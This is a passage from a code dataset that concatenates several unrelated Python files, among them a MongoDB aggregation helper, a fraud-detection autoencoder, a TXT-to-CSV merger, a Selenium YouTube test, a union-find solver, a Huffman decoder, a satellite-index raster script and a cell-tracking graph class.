xaggregate[1].get('$group').get('_id'):\n yxaggregate.append({'$group': {'_id':xaggregate[1]['$group']['_id']}})\n\n # 在 yxaggregate ，中添加 '$count' 算子,\n yxaggregate.append({'$count': 'totalCount'})\n print('yxaggregate',yxaggregate)\n result1 = list(await aggregate(dbName, collectionName, aggregation=yxaggregate))\n \n if len(result1) == 0:\n #返回0， 并退出\n return ({'count': 0, 'content': []})\n else:\n result1 = result1[0]['totalCount']\n # 此处 result1 肯定是个数字， 0 或者 >0\n else:\n result1 = ''\n print('result1vvv',result1)\n # 2 读取所有的表信息\n result2 = []\n if (type(result1) == int and result1 > 0) or result1 == '':\n # 1-1: 存在数据，则继续下一步 1-2: 没有计算长度 ，也进入下一步。 否则，直接返回空\n\n # xaggregate.append({'$skip': skip}) # 获取全部数据，不需要分页\n # xaggregate.append({'$limit': limit})\n \n print('xaggregate',xaggregate)\n result2 = list(await aggregate(dbName, collectionName, aggregation=xaggregate))\n print('hello',result2) \n return (json.loads(json_util.dumps({'count': result1, 'content': result2})))\n\n\nasync def fetchExtendedWordsTopic(dbName, collectionName, currentPage=1, pageSize = 10,xaggregate =[],returnTotalCount=True):\n # 获取 特定项目 extendedWords 表中符合条件的 主题词 聚合 数据 \n result1 = await makeAggregations (dbName, collectionName, currentPage=currentPage, pageSize = pageSize, xaggregate=xaggregate, returnTotalCount=True)\n # print(result1,type(result1))\n return result1\n\nasync def fetchExtendedWordsInherit(dbName, collectionName, currentPage=1,pageSize = 10, xaggregate =[],returnTotalCount=True):\n # 获取 特定项目 extendedWords 表中符合条件的 主题词 聚合 数据\n result1 = await makeAggregations (dbName, collectionName, currentPage=currentPage, types='mword',pageSize = pageSize, xaggregate=xaggregate, returnTotalCount=True)\n # print(result1,type(result1))\n return result1\n\nasync def deleteExtendedWordsItems(dbName, collectionName, deleteDictList=[]):\n if deleteDictList == []:\n # 什么也不删除\n return ('error')\n else:\n # 循环删除\n try:\n for ele in deleteDictList:\n # print(ele)\n result1 = await delete_one(dbName, collectionName, ele)\n # 成功，刷新列表\n result2 = await fetchTable(dbName, collectionName)\n return (result2)\n except:\n return ('error')\n\n\nasync def updateExtendedWords(dbName, collectionName, updateType='one',queryDict={}, setDict={}, pageSize=10, currentPage=1):\n # print('setDict',dbName,collectionName,setDict,queryDict,pageSize,currentPage)\n print('++++++++++++++', dbName, collectionName,\n setDict, queryDict, pageSize, currentPage)\n if updateType == 'many':\n result1 = await update_many(dbName, collectionName, queryDict=queryDict, setDict=setDict)\n else:\n result1 = await update_one(dbName, collectionName, queryDict=queryDict, setDict=setDict)\n #result1 = await update_many(dbName, collectionName, queryDict=queryDict, setDict=setDict)\n print('result1',result1)\n if result1 >= 1:\n print('插入成功')\n # 获取所有数据(首页) 返回\n result2 = await fetchTable(dbName, collectionName, xfilter={}, xshown={}, xsort=[], currentpage=currentPage, pagesize=pageSize, returnTotalCount=True)\n return (result2)\n else:\n return(result1)\n\n'''\n标签云相关\n'''\n\n\nasync def fetchUsageTags(dbName, collectionName):\n usageTags = await find(dbName, collectionName)\n return usageTags\n\n\nif __name__ == '__main__':\n update_one('KWM-5f5c4240e0c234a92a524a36', 'StopDict', {'_id': '5f5cdc64041c89a528d10776'}, {\n '$set': {'word': '测试qweqweqweqwe', 'modifiedTime': '2020-09-12 22:49:27'}})\n","sub_path":"kms-docker/kms-image/kms/database/db_advanced.py","file_name":"db_advanced.py","file_ext":"py","file_size_in_byte":28158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"545817816","text":"### Ref Materials\r\n## Data source : https://www.kaggle.com/mlg-ulb/creditcardfraud/data\r\n## This contain data set contain 492 frauds and 284,315 Normal transactions\r\n## Data highly imbalance due to that we are using Deep Autoencorder for creating model\r\n## Ref webpages & materials :\r\n## 1) https://shiring.github.io/machine_learning/2017/05/01/fraud\r\n## 2) https://blog.keras.io/building-autoencoders-in-keras.html\r\n## 3) https://towardsdatascience.com/applied-deep-learning-part-3-autoencoders-1c083af4d798\r\n## 4) https://medium.com/@curiousily/credit-card-fraud-detection-using-autoencoders-in-keras-tensorflow-for-hackers-part-vii-20e0c85301bd\r\n## 5) https://elitedatascience.com/keras-tutorial-deep-learning-in-python\r\n## 6) http://thesai.org/Downloads/Volume9No1/Paper_3-Credit_Card_Fraud_Detection_Using_Deep_Learning.pdf\r\n## 7) https://en.wikipedia.org/wiki/Autoencoder\r\n## 8) https://www.analyticsvidhya.com/blog/2016/01/12-pandas-techniques-python-data-manipulation/\r\n## 9) https://github.com/otenim/AnomalyDetectionUsingAutoencoder\r\n## 10) http://mail.tku.edu.tw/myday/teaching/1042/SCBDA/1042SCBDA09_Social_Computing_and_Big_Data_Analytics.pdf\r\n## 11) https://machinelearningmastery.com/binary-classification-tutorial-with-the-keras-deep-learning-library/\r\n## 12) https://machinelearningmastery.com/tutorial-first-neural-network-python-keras/\r\n\r\n\r\n## Importing libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nfrom sklearn.model_selection import train_test_split\r\nfrom keras.models import Model\r\nfrom keras.layers import Input, Dense\r\nfrom sklearn.preprocessing import MinMaxScaler\r\n\r\n#Importing csv file\r\ndf = pd.read_csv(\"./creditcard.csv\")\r\nprint('Null values :',df.isnull().values.any()) ## Checking whether data set contains any null values\r\nprint(df.describe()) ## Describe the data set\r\nprint('Import dataframe shape',df.shape) ## datframe size\r\nprint(df.head(2)) ##first 2 rows of the data frmae\r\nprint('***********************')\r\n\r\n# creating two days and tag them\r\ndf['day'] = np.where(df['Time']<86401, 'day1', 'day2')\r\ndf['Status'] = np.where(df['Class']==0, 'N', 'Y') # Adding new column and decode class\r\nprint('***********************')\r\nprint(df.head(2)) ##first 2 rows of the data frmae\r\n\r\n# Creting graphs to check fraud trnasactions & normal transactions\r\nplt.show(sns.lmplot(x='Time',y='Amount',data=df[df.day=='day1'],hue='Status')) # Day 1 Normal Vs Fraud transations\r\nplt.show(sns.lmplot(x='Time',y='Amount',data=df[df.day=='day2'],hue='Status')) # Day 2 Normal Vs Fraud transation\r\n#plt.show(sns.pairplot(df[df.day=='day1'], kind=\"scatter\",hue='Status'))\r\n#plt.show(sns.pairplot(df[df.day=='day2'], kind=\"scatter\",hue='Status'))\r\n\r\n## showing the anomoly\r\nplt.show(df.pivot_table(values=[\"Class\"],index=[\"Status\"],aggfunc='count').plot(kind='bar')) # Fraud Vs Normal\r\nplt.show(df.pivot_table(values=[\"Class\"],index=[\"day\",\"Status\"],aggfunc='count').plot(kind='bar')) # Fraud Vs Normal daily\r\n\r\nprint('***********************')\r\nprint(df.pivot_table(values=[\"Class\"],index=[\"Status\"],aggfunc='count')) # Fraud Vs Normal - pivot\r\nprint(df.pivot_table(values=[\"Class\"],index=[\"day\",\"Status\"],aggfunc='count')) # Fraud Vs Normal daily - pivot\r\n\r\n## Applying auto encorders\r\nprint('***********************')\r\ndata = df.drop(['Time','day','Status'], axis=1) # Removing unwanted columns\r\nprint(data.shape)\r\n\r\n## Scaling data\r\nprint('***********************')\r\nscaler = MinMaxScaler(feature_range=(0, 1))\r\ndata['Amount'] = scaler.fit_transform(data['Amount'].values.reshape(-1, 1))\r\nprint(data.Amount.describe())\r\nprint('*********************')\r\n\r\n# Data partition to test & train data set 70% totrain & 30% to test\r\nX_train, X_test = train_test_split(data, test_size=0.3, random_state=100)\r\nprint('x train',X_train.shape) ## train data set\r\nprint('x test',X_test.shape) ## test data set\r\n\r\nX_train = X_train[X_train.Class == 0] ## selecting only Normal transactions for inserting to autoencorder\r\nX_train = X_train.drop(['Class'], axis=1) ## removing class variable\r\ny_test = X_test['Class'] ## Test data\r\nX_test = X_test.drop(['Class'], axis=1) # Remove CLass variable to test the data\r\nX_train = X_train.values\r\nX_test = X_test.values\r\nprint('x train',X_train.shape)\r\nprint('x train',X_train.shape[1])\r\n\r\n## Deep Autoencorder\r\ninput_l=Input(shape=(29,))\r\n## Encode\r\nencoded=Dense(25,activation='relu')(input_l)\r\nencoded=Dense(20,activation='relu')(encoded)\r\nencoded=Dense(10,activation='relu')(encoded)\r\nencoded=Dense(5,activation='relu')(encoded)\r\n## Decode\r\ndecoded=Dense(10,activation='relu')(encoded)\r\ndecoded=Dense(20,activation='relu')(decoded)\r\ndecoded=Dense(25,activation='relu')(decoded)\r\ndecoded=Dense(29,activation='relu')(decoded)\r\n\r\nautoencorder=Model(inputs=input_l,outputs=decoded)\r\nautoencorder.compile(optimizer='adam', loss='binary_crossentropy')\r\n\r\nautoencorder.fit(X_train, X_train,\r\n epochs=200,\r\n batch_size=10000,\r\n shuffle=True,\r\n validation_data=(X_test, X_test))\r\n\r\n## Predict the result for test data set\r\npredictions=autoencorder.predict(X_test)\r\n\r\n## Error\r\nmse = np.mean(np.power(X_test - predictions, 2), axis=1)\r\nerror_df = pd.DataFrame({'reconstruction_error': mse,'true_class': y_test})\r\n\r\n## Confusion Matrix\r\n## get 2.6 as the thresor hold\r\nprint(error_df.head(2))\r\nprint('************************')\r\nerror_df['y_pred'] = np.where(error_df['reconstruction_error']>2.6, '1', '0')\r\nprint(pd.crosstab(error_df['true_class'], error_df['y_pred']))\r\n","sub_path":"CrCrdFraudGitHub.py","file_name":"CrCrdFraudGitHub.py","file_ext":"py","file_size_in_byte":5534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"637515930","text":"'''\r\n到指定路徑old_Path下\r\n將資料夾內文字檔合併\r\n轉存到指定路徑\r\n'''\r\n#獲取目前時間\r\ndef get_Today():\r\n import time\r\n global today\r\n \r\n localtime = time.localtime()\r\n today = time.strftime(\"%Y-%m-%d\", localtime) \r\n return today\r\n\r\n#舊路徑上的所有TXT合併-->日期.txt\r\ndef merge_oldPath_txt():\r\n import os\r\n import os.path\r\n global txt_new_Path,new_Path #提供當天整合後的txt的路徑\r\n \r\n pwd = os.getcwd()#獲取目前路徑\r\n print(\"印出目前路徑-->\"+pwd)\r\n old_Path=pwd+\"\\\\old_Path\"#TXT合併前存放路徑\r\n new_Path=pwd+\"\\\\new_Path\"#TXT合併後存放路徑\r\n print(\"印出合併前存放 .txt的 file路徑-->\" + old_Path)\r\n print(\"印出合併後存放 .txt的 file路徑-->\" + new_Path)\r\n \r\n #重組目標路徑根據日期命名\r\n txt_new_Path = new_Path+'\\\\'+today+'.txt'\r\n print(\"合併後的檔名-->\"+txt_new_Path)\r\n\r\n # 獲取路徑內文件列表+印出\r\n filelist = os.listdir(old_Path)\r\n print(\"------------查看old_Path內的檔案清單------------\")\r\n print(filelist)\r\n\r\n # 合并文件，存在 mergeData.TXT 文件中\r\n print(\"------------合併TXT內容-->另存於新路徑------------\")\r\n with open(txt_new_Path, 'w', encoding='utf-8') as f:\r\n # 构建所有文件路路徑\r\n for filename in filelist:\r\n filepath = old_Path + '\\\\' + filename\r\n # 按行寫入\r\n for line in open(filepath):\r\n f.writelines(line)\r\n f.write('\\n')\r\n txt=\"完成合併-->\"+old_Path,\"已儲存於-->\"+txt_new_Path\r\n return txt\r\n\r\n#完成TXT轉換CSV\r\ndef mergeTXT_to_CSV():\r\n import numpy as np\r\n import pandas as pd\r\n \r\n #引用TXT的存放路徑\r\n txt = np.genfromtxt(txt_new_Path,dtype='str')\r\n print(txt)\r\n \r\n txtDF = pd.DataFrame(txt)\r\n #print(txtDF)\r\n #調整CSV的儲存路徑\r\n csv_new_Path = new_Path +'\\\\'+today+'.csv'\r\n txtDF.to_csv(csv_new_Path,index=False) \r\n txt=\"完成TXT轉換CSV存放於-->\" + csv_new_Path\r\n return txt\r\n\r\nget_Today()\r\nprint(merge_oldPath_txt())\r\nprint(mergeTXT_to_CSV())","sub_path":"mergeTXTtoCSV/mergeTXT_to_CSV.py","file_name":"mergeTXT_to_CSV.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"221999873","text":"from typing import List\nfrom itertools import permutations\n\n\nclass Solution:\n def permutation(self, S: str) -> List[str]:\n\n # return list({\"\".join(cs) for cs in permutations(S, len(S))})\n\n ans = []\n S = sorted(S)\n\n def backtrack(r, s):\n if not len(s):\n ans.append(r)\n else:\n pre = ''\n for i in range(len(s)):\n if s[i] != pre:\n backtrack(r + s[i], s[:i] + s[i + 1:])\n pre = s[i]\n\n backtrack('', S)\n return ans\n","sub_path":"cxy/NO08.08/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"435908433","text":"from selenium import webdriver\r\nimport time\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\n\r\nclass OpenYoutube():\r\n def YoutubeTest(self):\r\n # chrome\r\n #chrome_path = \"C:\\\\Users\\\\soumya.patil\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python37-32\\\\Drivers\\\\chromedriver.exe\"\r\n #driver = webdriver.Chrome(chrome_path)\r\n \r\n # Firfox\r\n driver = webdriver.Firefox(executable_path=r'C:\\Users\\soumya.patil\\AppData\\Local\\Programs\\Python\\Python37-32\\Drivers\\geckodriver.exe')\r\n driver.maximize_window()\r\n driver.implicitly_wait(10)\r\n driver.get(\"https://www.youtube.com\")\r\n \r\n #click on search button\r\n searchTextBox = driver.find_element_by_name(\"search_query\")\r\n searchTextBox.click()\r\n \r\n searchTextBox1 = driver.find_element_by_name(\"search_query\")\r\n searchTextBox1.send_keys('Peppa pig')\r\n \r\n searchButton = driver.find_element_by_id(\"search-icon-legacy\")\r\n searchButton.click()\r\n \r\n time.sleep(3)\r\n youtubePlayer = driver.getElementById(\"movie_player\")\r\n youtubePlayer.getPlayerState()\r\n #SelectVideo = driver.find_element_by_id(\"video-title\")\r\n #SelectVideo.click()\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\nOY = OpenYoutube()\r\nOY.YoutubeTest() ","sub_path":"SeleniumTest/Youtube.py","file_name":"Youtube.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"321447508","text":"# Definition for a point.\n# class Point:\n# def __init__(self, a=0, b=0):\n# self.x = a\n# self.y = b\nclass UnionFind:\n def __init__(self, m, n):\n self.father = {}\n for i in range(n):\n for j in range(m):\n id = self.converttoId(i,j,m);\n self.father[id] = id \n\n def converttoId(self, x, y, m):\n return x*m + y\n \n def find(self, x):\n parent = self.father[x]\n while parent != self.father[parent]:\n parent = self.father[parent]\n return parent\n \n def compressed_find(self, x):\n parent = self.father[x]\n while parent != self.father[parent]:\n parent = self.father[parent]\n\n temp = -1;\n fa = self.father[x]\n while fa != self.father[fa]:\n temp = self.father[fa]\n self.father[fa] = parent\n fa = temp\n\n return parent\n\n \n def union(self, x, y):\n fa_x = self.find(x)\n fa_y = self.find(y)\n if fa_x != fa_y:\n self.father[fa_x] = fa_y\n \nclass Solution:\n # @param {int} n an integer\n # @param {int} m an integer\n # @param {Pint[]} operators an array of point\n # @return {int[]} an integer array\n def numIslands2(self, n, m, operators):\n dx = [0,-1, 0, 1]\n dy = [1, 0, -1, 0]\n island = [[0 for i in range(m)] for j in range(n)]\n ans = []\n uf = UnionFind(n, m)\n count = 0\n if operators != None:\n for i in range(len(operators)):\n count += 1\n x = operators[i].x\n y = operators[i].y\n if island[x][y] != 1:\n island[x][y] = 1\n id = uf.converttoId(x, y, m)\n # 计算上下左右四个点的位置\n for j in range(4):\n nx = x + dx[j]\n ny = y + dy[j]\n if 0 <= nx and nx < n and 0 <= ny and ny < m and island[nx][ny] == 1:\n nid = uf.converttoId(nx, ny, m)\n fa = uf.find(id)\n nfa = uf.find(nid)\n if fa != nfa:\n count -= 1\n uf.union(id, nid)\n\n ans.append(count)\n return ans","sub_path":"LeetCode/Number_of_Islands_II.py","file_name":"Number_of_Islands_II.py","file_ext":"py","file_size_in_byte":2431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"383807600","text":"\n\ndef get_keywords_by_label(connect):\n labels_keywords_map = {}\n cursor = connect.cursor()\n # 获取工作分类\n cursor.execute(\"SELECT ID FROM LABELS\")\n label_ids = cursor.fetchall()\n\n for label_id in label_ids:\n cursor.execute(\"SELECT KEYWORD FROM KEYWORDS WHERE LABEL_ID = %s\", label_id[0])\n keywords = cursor.fetchall()\n keyword_map = {label_id: keywords}\n labels_keywords_map.update(keyword_map)\n\n connect.commit()\n return labels_keywords_map\n","sub_path":"Category.py","file_name":"Category.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"129251957","text":"#AutomationDebug.py\n#Example of Year 2019: Subsets 2, 3, 4\n#Applied to csv files with dtypes as objects and \n#further used by converting the required to floats and performing operations\n\nimport pandas as pd\n\nmy_df = pd.read_csv(\"Main_9.12.03.b_subset_4.csv\", encoding = \"latin-1\")\n\nmy_df['POSITIVE'] = pd.to_numeric(my_df['POSITIVE'] , errors = 'coerce')\nmy_df['NEGATIVE'] = pd.to_numeric(my_df['NEGATIVE'] , errors = 'coerce')\n\nmy_df = my_df.loc[my_df['QUESTION'] == 'Q44']\nmy_df = my_df.loc[my_df['SURVEYR'] == 2019]\nmy_df = my_df.iloc[0:,[20, 22]]\n\nprint (my_df)\n\ncount = my_df['POSITIVE'].count()\nprint ('Count: ' + str(count))\ncount = count.astype('float')\n\nmy_df.sum()[\"POSITIVE\"]\nmy_df.sum()[\"NEGATIVE\"]\n\naverage_mpln = my_df.sum()[\"POSITIVE\"] / count\naverage_mnlp = my_df.sum()[\"NEGATIVE\"] / count\n\nprint ('Average for POSITIVE: ' + str(average_mpln))\nprint ('Average for NEGATIVE: ' + str(average_mnlp))\n","sub_path":"python files/.ipynb_checkpoints/AutomationDebug-checkpoint.py","file_name":"AutomationDebug-checkpoint.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"165358790","text":"#Template of the Purkinje cell model, Mike Hausser (version 3, 20.2.97)\n#Templating by Lungsi 2019 based on ~/PC1997bHausser/P19.hoc\n#This template was sourced from Vetter et al. 2001 Dendritica ModelDB\nfrom neuron import h\n#from pdb import set_trace as breakpoint\n\nclass Purkinje(object):\n \"\"\"Multi-compartment cell\n \"\"\"\n def __init__(self):\n h.xopen(\"P20.hoc\")\n\n # The following are chosen as attributes for potential recording\n self.soma = h.soma\n self.dend_root = h.dendA1_0 # see Fig.2A Zang et al. 2018 10.1016/j.celrep.2018.07.011\n # Zang et al. 2018 used a modified version of this.\n # This model has smooth and spiny dendrites such that the\n # sparsely spiny dendrite sections are assumed to be likely innervated\n # by the climbing fibre.\n # However, since the cell is the main region of interest\n # PC1997aHausser is in ~/models/cells/ NOT in ~/models/synapses\n\n # no explicit dt is known to be given so use the default = 0.025\n","sub_path":"models/cells/PC1997bHausser/Purkinje.py","file_name":"Purkinje.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"468908368","text":"import rasterio as rt\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom rasterio.plot import show\nfrom rasterio.plot import show\nfrom rasterio.mask import mask\nfrom fiona.crs import from_epsg\nimport pycrs\n\n# Index coefficients\nL = 1 \nC1 = 6\nC2 = 7.5\nG = 2.5\n#datasets names\ndatasets = ('20191207','20191217','20200425','20200106') \namount = len(datasets)\ndef read():\n\tglobal b,r,n,meta, size\n\tblue = rt.open('S_'+datasets[dataset]+'_B02.tif')\n\tred = rt.open('S_'+datasets[dataset]+'_B04.tif')\n\tnir = rt.open('S_'+\tdatasets[dataset]+'_B08.tif')\n\tmeta = blue.meta.copy()\n\tmeta.update(dtype=rt.float32,count=1,compress='lzw')\n\n\tb = blue.read(1)\n\tb = b/10000\n\t#g = image.read(2)\n\tr = red.read(1)\n\tr = r/10000\n\tn = nir.read(1)\n\tn = n/10000\n\tsize = b.shape\n\n\ndef index():\n\tglobal evi, evi_f\n\tevi = np.true_divide(n-r,L+n+(C1*r)-(C2*b))\n\tevi = evi*G\n\tevi_f = np.zeros(size)\n\tfor i in range(size[0]-1):\n\t\tfor j in range(size[1]-1):\n\t\t\tif evi[i,j] >= 0 and evi[i,j] <= 1:\n\t\t\t\tevi_f[i,j] = evi[i,j]\n\t\t\telse:pass\n\n\twith rt.open('S_'+datasets[dataset]+'_EVI.tif', 'w', **meta) as create:\n\t create.write(evi_f.astype(rt.float32),1)\n\tplt.imshow(evi)\n\tplt.colorbar()\n\tplt.show()\n\ndataset = 0\nwhile dataset != amount:\n\tread()\n\tindex()\n\tdataset = dataset + 1\n\n","sub_path":"RemoteSensing/Processing(Python)/SMainScriptV0.py","file_name":"SMainScriptV0.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"152551336","text":"from bs4 import BeautifulSoup\r\nimport json\r\nimport requests\r\nimport re\r\nresponse = requests.get('http://www.cricbuzz.com/cricket-series/2676/indian-premier-league-2018/squads')\r\nsoup = BeautifulSoup(response.text, 'html.parser')\r\ncontent=soup.find(id=\"page-wrapper\")\r\n\r\ntemplist=['Chennai Super Kings',\r\n'Royal Challengers Bangalore',\r\n'Kings XI Punjab',\r\n'Rajasthan Royals',\r\n'Delhi Daredevils',\r\n'Mumbai Indians', \r\n'Sunrisers Hyderabad',\r\n'Kolkata Knight Riders']\r\n\r\nteams=[]\r\nx=0\r\nfor a in content.contents[7].find_all('a'):\r\n if a.string:\r\n #print(a.string)\r\n if a.string!='More Stats':\r\n #print(a.string)\r\n if a.string in templist:\r\n #print(a.string)\r\n if x>0:\r\n teams.append(newteam)\r\n #print(newteam) \r\n x=x+1\r\n newteam={} #make new team object here\r\n newteam['name']=a.string #assigning name to the team\r\n #newteam['captain']=\"\"\r\n newteam['squad']=[]\r\n else:\r\n newplayer={}\r\n newplayer['name']=a.string\r\n #newplayer['alias']=[]\r\n #print(a.string)\r\n newteam['squad'].append(newplayer) \r\n else:\r\n teams.append(newteam)\r\nprint(teams)","sub_path":"playerteammap.py","file_name":"playerteammap.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"389647490","text":"\"\"\"\nHuffman coding assigns variable length codewords to fixed length input characters based on their frequencies. More\nfrequent characters are assigned shorter codewords and less frequent characters are assigned longer codewords.\nAll edges along the path to a character contain a code digit. If they are on the left side of the tree, they will be a\n0 (zero). If on the right, they'll be a 1 (one). Only the leaves will contain a letter and its frequency count. All\nother nodes will contain a null instead of a character, and the count of the frequency of all of it and its descendant\ncharacters.\n\nhttps://www.hackerrank.com/challenges/tree-huffman-decoding/problem?h_l=interview&playlist_slugs%5B%5D=interview-preparation-kit&playlist_slugs%5B%5D=trees\n\"\"\"\n\ndef decodeHuff(root, s):\n \"\"\"\n\n :param root: reference to the root node of the Huffman tree\n :param s: Huffman encoded string\n :return: the decoded string\n \"\"\"\n\n decoded_string = ''\n st_len = len(s)\n i = 0\n while i < st_len:\n c,i = get_char(root,s,i)\n decoded_string += c\n return decoded_string\n\ndef get_char(root, s, i):\n if root.data != '':\n return root.data, i\n i += 1\n if s[i] == 0:\n return get_char(root.left, s, i), i\n else:\n return get_char(root.right, s, i), i","sub_path":"Trees/huffman.py","file_name":"huffman.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"563772975","text":"import pandas as pd\nimport sys\nimport os\nfrom .helpers import write_csv\n\n\"\"\"\nDoc Doc Doc\n\"\"\"\n\n\nclass TrapGraph:\n\n def __init__(self, df, run_graph=True, file_name=None):\n self.df = df\n self.run_graph = run_graph\n self.file_name = file_name\n self.trap_num = None\n self.graph = {}\n self.root_nodes = []\n self.root_pred_ids = []\n self.branch_nodes = []\n self.time_num_obj = []\n self.root_endpoints = {}\n self.graph_helper = {}\n self._on_init()\n\n def _on_init(self):\n\n self.graph_helper[\"pred_id_last_node\"] = {} # For each predID, tracks the last node of that id.\n self.graph_helper[\"current_num_obj\"] = 0 # total_objs for current time_step\n self.graph_helper[\"last_num_obj\"] = 0 # total_objs for last time_step\n self.graph_helper[\"next_num_obj\"] = 0 # total_objs for next time_step\n self.graph_helper[\"next_pred_ids\"] = [] # predID's present in next time_step\n\n self._establish_root_nodes()\n self._set_root_endpoints()\n\n if self.run_graph:\n self._make_graph()\n\n # Some post-processing on self.graph to put edge nodes in numerical order.\n for k in self.graph:\n vals = [float(v) for v in self.graph[k]]\n vals = sorted(vals)\n vals = [str(round(v, 1)) for v in vals]\n self.graph[k] = vals\n\n def _establish_root_nodes(self):\n \"\"\"\n Doc Doc Doc\n \"\"\"\n\n start_time = self.df[\"time_num\"].unique()[0]\n start_time_df = self.df.query(\"time_num == {}\".format(start_time))\n len_time_step = len(start_time_df.index)\n self.time_num_obj.append([start_time, len_time_step])\n self.graph_helper[\"last_num_obj\"] = len_time_step\n\n for i, node in enumerate(start_time_df.to_dict('records')):\n\n pred_id = node[\"predecessorID\"]\n time_num = node[\"time_num\"]\n node_name = \"{}.{}\".format(time_num, pred_id)\n self.graph[node_name] = []\n self.root_nodes.append(node_name)\n self.root_pred_ids.append(pred_id)\n self.graph_helper[\"pred_id_last_node\"][pred_id] = node_name\n self.trap_num = node[\"trap_num\"]\n\n def _set_root_endpoints(self):\n \"\"\"\n Doc Doc Doc\n \"\"\"\n\n self.root_endpoints = {k: 0 for k in self.root_pred_ids}\n\n remaining_root_pred_ids = self.root_pred_ids.copy()\n\n for t in self.df[\"time_num\"].unique()[1:]:\n\n if not remaining_root_pred_ids:\n return\n\n time_df = self.df.query(\"time_num == {}\".format(t))\n step_info = time_df.to_dict('records')\n active_pred_ids = [v[\"predecessorID\"] for v in step_info]\n\n for root_pred_id in self.root_pred_ids:\n if root_pred_id not in remaining_root_pred_ids:\n continue\n if root_pred_id not in active_pred_ids:\n self.root_endpoints[root_pred_id] = max(t - 1, 1)\n remaining_root_pred_ids.remove(root_pred_id)\n\n for root_endpoint in self.root_endpoints:\n if self.root_endpoints[root_endpoint] == 0:\n self.root_endpoints[root_endpoint] = self.df[\"time_num\"].max()\n\n def _process_time_step(self, step_info):\n \"\"\"\n Doc Doc Doc\n \"\"\"\n\n # print(step_info)\n\n # Get Pred ID's in Current Time Step\n active_pred_ids = [v[\"predecessorID\"] for v in step_info]\n\n # Get Pred ID's in next Time Step (Branches will be these) Sort.\n assign_pred_ids = list(set(self.graph_helper[\"next_pred_ids\"]) - set(active_pred_ids))\n assign_pred_ids.sort(reverse=True)\n\n # Sort Step Info, Assignment will try to associate the lower current pred_id to the next lowest etc.\n step_info.sort(key=lambda x: x[\"predecessorID\"])\n isolated_pred_id = None\n parsed_steps = []\n for step in step_info:\n step_arr = [step[k] for k in step]\n if step_arr in parsed_steps:\n branch_node_name = \"{}.{}\".format(step[\"time_num\"], step[\"predecessorID\"])\n self.branch_nodes.append(branch_node_name)\n try:\n next_pred_id = assign_pred_ids.pop() # Pull from sorted assign_pred_ids, de-que\n except IndexError:\n if not isolated_pred_id:\n try:\n isolated_pred_id = max(self.graph_helper[\"next_pred_ids\"]) + 1\n print(\"POP ERROR - Isolated New Max:\", step_arr, isolated_pred_id)\n except ValueError:\n isolated_pred_id = step[\"predecessorID\"] + 1\n print(\"POP ERROR - Isolated New +1\", step_arr, isolated_pred_id)\n else:\n isolated_pred_id += 1\n print(\"POP ERROR - Isolated Existing\", step_arr, isolated_pred_id)\n next_pred_id = isolated_pred_id\n\n # print(\"GOT BRANCH:\", branch_node_name, step_arr, \"NextPredID:{}\".format(next_pred_id))\n step[\"predecessorID\"] = next_pred_id\n self.graph_helper[\"pred_id_last_node\"][step[\"predecessorID\"]] = branch_node_name\n active_pred_ids += [next_pred_id]\n\n parsed_steps.append(step_arr)\n\n return step_info\n\n def _make_graph(self):\n \"\"\"\n Doc Doc Doc\n \"\"\"\n\n # We are interested in changes that occur between time steps. So will create sub-df's using those times.\n # Start at 2nd index because _establish_root_nodes() handles above\n for t in self.df[\"time_num\"].unique()[1:]:\n\n # Run another filter of our initial filtered df from above on loop time step.\n time_df = self.df.query(\"time_num == {}\".format(t))\n next_time_df = self.df.query(\"time_num == {}\".format(t+1))\n\n # The number of data points per time-step may dictate behavior.\n len_time_step = len(time_df.index)\n len_next_time_step = len(next_time_df.index)\n next_time_step_pred_ids = list(next_time_df[\"predecessorID\"].unique())\n self.graph_helper[\"current_num_obj\"] = len_time_step\n self.graph_helper[\"next_num_obj\"] = len_next_time_step\n self.graph_helper[\"next_pred_ids\"] = next_time_step_pred_ids\n\n # Tracks number of obj seen per time step. Used in debug/display purposes.\n self.time_num_obj.append([t, len_time_step])\n\n step_info = time_df.to_dict('records')\n\n # Check for existence of root/mother cell, if not present, return since main branch has ended.\n active_pred_ids = [v[\"predecessorID\"] for v in step_info]\n for root_pred_id in self.root_pred_ids:\n if root_pred_id not in active_pred_ids:\n print(\"Root:{} absent in step:{}\".format(root_pred_id, step_info))\n return\n\n step_info = self._process_time_step(step_info)\n\n self.graph_helper[\"last_num_obj\"] = len(step_info)\n\n for node in step_info:\n\n pred_id = node[\"predecessorID\"]\n time_num = node[\"time_num\"]\n node_name = \"{}.{}\".format(time_num, pred_id)\n\n self.graph[node_name] = []\n try:\n pred_id_last_node_name = 